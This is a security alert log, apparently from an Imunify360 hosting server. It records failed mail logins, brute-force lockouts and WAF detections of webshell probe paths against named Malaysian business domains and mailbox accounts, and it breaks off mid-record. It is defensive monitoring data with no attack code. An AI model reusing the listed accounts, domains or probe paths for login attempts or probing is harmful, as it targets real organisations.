Feb  1 06:20:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:20:15 dovecot_login authenticator failed for H=(ZLjI1NVR8) [158.94.208.215]:65466: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:20:03 dovecot_login authenticator failed for H=(97uerAj) [185.36.81.54]:58819: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.112.148.66
country_id: 130758
description:
2026-02-01 06:20:52 dovecot_login authenticator failed for H=([185.112.148.66]) [185.112.148.66]:37337: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.29.179.36
country_id: 2510769
description:
2026-02-01 06:21:00 dovecot_login authenticator failed for H=36.red-80-29-179.dynamicip.rima-tde.net [80.29.179.36]:43446: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.238
country_id: 6252001
description:
2026-02-01  6:20:36 205634 [Warning] Aborted connection 205634 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.238' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:20:10 dovecot_login authenticator failed for H=(lw2FbDj) [178.16.54.22]:63381: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.45.210
country_id: 953987
description:
2026-02-01 06:20:29 dovecot_plain authenticator failed for H=(Johan-PC) [102.64.45.210]:55706: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:20:04 dovecot_login authenticator failed for H=(yZU9BpFurd) [178.16.52.139]:60685: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:20:08 dovecot_login authenticator failed for H=(6CXiVyaO) [158.94.208.175]:54742: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.254.162.47
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=48 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.178.39.106
country_id: 1814991
description:
2026-02-01 06:21:37 dovecot_login authenticator failed for H=([220.178.39.106]) [220.178.39.106]:43765: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:21:44 dovecot_login authenticator failed for H=(v8by6W) [178.16.52.139]:60712: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-02-01 06:21:48 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:57894: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:21:04 dovecot_login authenticator failed for H=(INetQRhEE) [158.94.208.215]:52514: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.145.118.40
country_id: 3175395
description:
2026-02-01 06:21:05 dovecot_plain authenticator failed for H=net-93-145-118-40.cust.vodafonedsl.it (bilit) [93.145.118.40]:43946: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:21:19 dovecot_login authenticator failed for H=(ptT2GWuRC) [178.16.54.22]:57017: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:21:26 dovecot_login authenticator failed for H=(kvCp0S) [185.36.81.54]:51822: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:22:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:21:03 dovecot_login authenticator failed for H=(AvixnfVF) [178.16.52.139]:58580: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:21:13 dovecot_login authenticator failed for H=(wgXZon) [158.94.208.175]:64842: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:22:02 dovecot_login authenticator failed for H=(dONhlGdM) [178.16.52.139]:60723: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:22:05 dovecot_login authenticator failed for H=(DyLGNkIXOo) [178.16.54.22]:55201: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:22:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:22:22 dovecot_login authenticator failed for H=(efpdJldgKA) [158.94.208.175]:61511: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:22:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:22:16 dovecot_login authenticator failed for H=(oimWcJ1o) [158.94.208.215]:56526: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:22:20 dovecot_login authenticator failed for H=(I4EPy1y) [185.36.81.54]:55789: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:22:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:23:04 dovecot_login authenticator failed for H=(dRT2HH) [158.94.208.215]:64359: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:23:11 dovecot_login authenticator failed for H=(dRXkP1wd) [158.94.208.175]:55204: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.158.170.213
country_id: 2139685
description:
2026-02-01 06:23:21 dovecot_login authenticator failed for H=host-175-158-170-213.static.lagoon.nc [175.158.170.213]:60246: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:23:58 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:23:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:23:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:23:02 dovecot_login authenticator failed for H=(HBw7JGv) [178.16.52.139]:58754: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:23:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:23:44 dovecot_login authenticator failed for H=(RL6apj) [178.16.52.139]:62438: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:23:14 dovecot_login authenticator failed for H=(5wIlxxu) [178.16.54.22]:62461: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:23:22 dovecot_login authenticator failed for H=(dl7WiS) [185.36.81.54]:58218: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.192.166
country_id: 1269750
description:
2026-02-01 06:23:09 dovecot_login authenticator failed for H=([27.123.105.234]) [128.185.192.166]:50292: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:24:02 dovecot_login authenticator failed for H=(TMh7oderq) [178.16.52.139]:52672: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:24:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:24:08 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51869: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.100.218
country_id: 1269750
description:
2026-02-01 06:24:18 dovecot_login authenticator failed for H=(nsg-corporate-4.114.185.122.airtel.in) [122.185.100.218]:53258: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:24:24 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.205.115.105
country_id: 1819730
domain: www.inter-link.edu.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home2/interlink/public_html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.209.252.178
country_id: 1269750
description:
2026-02-01 06:24:50 dovecot_login authenticator failed for H=(static-154-209-252-178.pol.net.in) [154.209.252.178]:56928: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 06:24:56 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:50718: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:24:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:24:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.246.106
country_id: 1269750
description:
2026-02-01 06:24:10 dovecot_login authenticator failed for H=([125.16.255.97]) [125.20.246.106]:53516: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:24:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:24:08 dovecot_login authenticator failed for H=(FU64NLylG) [158.94.208.175]:50400: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:24:09 dovecot_login authenticator failed for H=(sBvyN7Ti) [185.36.81.54]:64469: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:24:16 dovecot_login authenticator failed for H=(7xCfh7I12H) [158.94.208.215]:52060: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:24:23 dovecot_login authenticator failed for H=(ltqd0nNs) [178.16.54.22]:59357: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:25:09 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58808: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:25:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.157.80.73
country_id: 2077456
description:
2026-02-01 06:25:16 dovecot_login authenticator failed for H=([120.157.80.73]) [120.157.80.73]:35794: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:25:28 dovecot_login authenticator failed for H=(jFIHFzz24) [185.36.81.54]:57696: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:25:29 dovecot_login authenticator failed for H=(npg5raq) [158.94.208.175]:52684: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:25:42 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:25:09 dovecot_login authenticator failed for H=(p5UGHy) [178.16.54.22]:49952: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:25:10 dovecot_login authenticator failed for H=(R4iO1E) [178.16.52.139]:49363: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:25:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:25:04 dovecot_login authenticator failed for H=(OrFuzOK) [158.94.208.215]:59034: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:25:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:25:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 41.220.3.101
country_id: 226074
description:
Feb  1 06:25:49 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(41.220.3.101)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-02-01 06:25:51 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:2512: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:26:30 dovecot_login authenticator failed for H=(CVWH5NElHC) [185.36.81.54]:57011: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:26:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:26:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:26:12 dovecot_login authenticator failed for H=(3KFl3k) [178.16.52.139]:53738: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.91.50
country_id: 1269750
description:
2026-02-01 06:26:30 dovecot_login authenticator failed for H=(nsg-corporate-50.91.186.122.airtel.in) [122.186.91.50]:45080: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:26:06 dovecot_login authenticator failed for H=(xEEWpXtzk) [158.94.208.175]:60199: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:26:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:26:19 dovecot_login authenticator failed for H=(DPurD3CL) [178.16.54.22]:62731: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:26:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.187
country_id: 1269750
description:
2026-02-01 06:26:52 dovecot_login authenticator failed for H=(nsg-corporate-187.230.187.122.airtel.in) [122.187.230.187]:55673: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:26:09 dovecot_login authenticator failed for H=(3WDZls) [178.16.52.139]:56552: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.22.255.28
country_id: 1814991
description:
2026-02-01 06:26:16 dovecot_login authenticator failed for H=([58.22.255.28]) [58.22.255.28]:32811: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:26:16 dovecot_login authenticator failed for H=(GuKUQvwIRi) [158.94.208.215]:52874: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:26:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:27:05 dovecot_login authenticator failed for H=(RBZjIZci) [178.16.54.22]:62170: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:27:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 06:27:59 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:22533: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:27:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-01 06:27:08 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:52049: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:27:08 dovecot_login authenticator failed for H=(jVHIfGA) [158.94.208.175]:55783: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-02-01 06:27:32 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:40760: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:27:04 dovecot_login authenticator failed for H=(H0c6ME) [158.94.208.215]:60921: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 118.45.101.159
country_id: 1835841
description:
Feb  1 06:27:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(118.45.101.159)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:27:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.155.146.33
country_id: 2017370
description:
2026-02-01 06:27:26 dovecot_login authenticator failed for H=(ip-45-155-146-33.ip.asarta.ru) [45.155.146.33]:55828: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:27:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:27:19 dovecot_login authenticator failed for H=(VbrmBm) [185.36.81.54]:59675: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.126.129.201
country_id: 1835841
description:
2026-02-01 06:27:58 dovecot_login authenticator failed for H=([168.126.129.201]) [168.126.129.201]:40666: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:27:13 dovecot_login authenticator failed for H=(Mpo4wnY) [178.16.52.139]:51280: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:28:08 dovecot_login authenticator failed for H=(uwHwt7u) [158.94.208.175]:56683: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:28:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:28:32 dovecot_login authenticator failed for H=(EuGkBF) [185.36.81.54]:61428: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 06:28:16 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:59349: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:28:16 dovecot_login authenticator failed for H=(GHWaKN) [158.94.208.215]:63442: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 06:28:17 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:53560: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.187
country_id: 1814991
description:
2026-02-01 06:28:46 dovecot_login authenticator failed for H=([111.61.177.187]) [111.61.177.187]:45858: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.230.184
country_id: 1814991
description:
2026-02-01 06:28:05 dovecot_login authenticator failed for H=([60.172.230.184]) [60.172.230.184]:49400: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:28:11 dovecot_login authenticator failed for H=(iaXSL23) [178.16.52.139]:64547: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:28:14 dovecot_login authenticator failed for H=(MAGBOrz) [178.16.54.22]:62895: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:28:12 dovecot_login authenticator failed for H=(dOoXEuj) [178.16.52.139]:65042: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
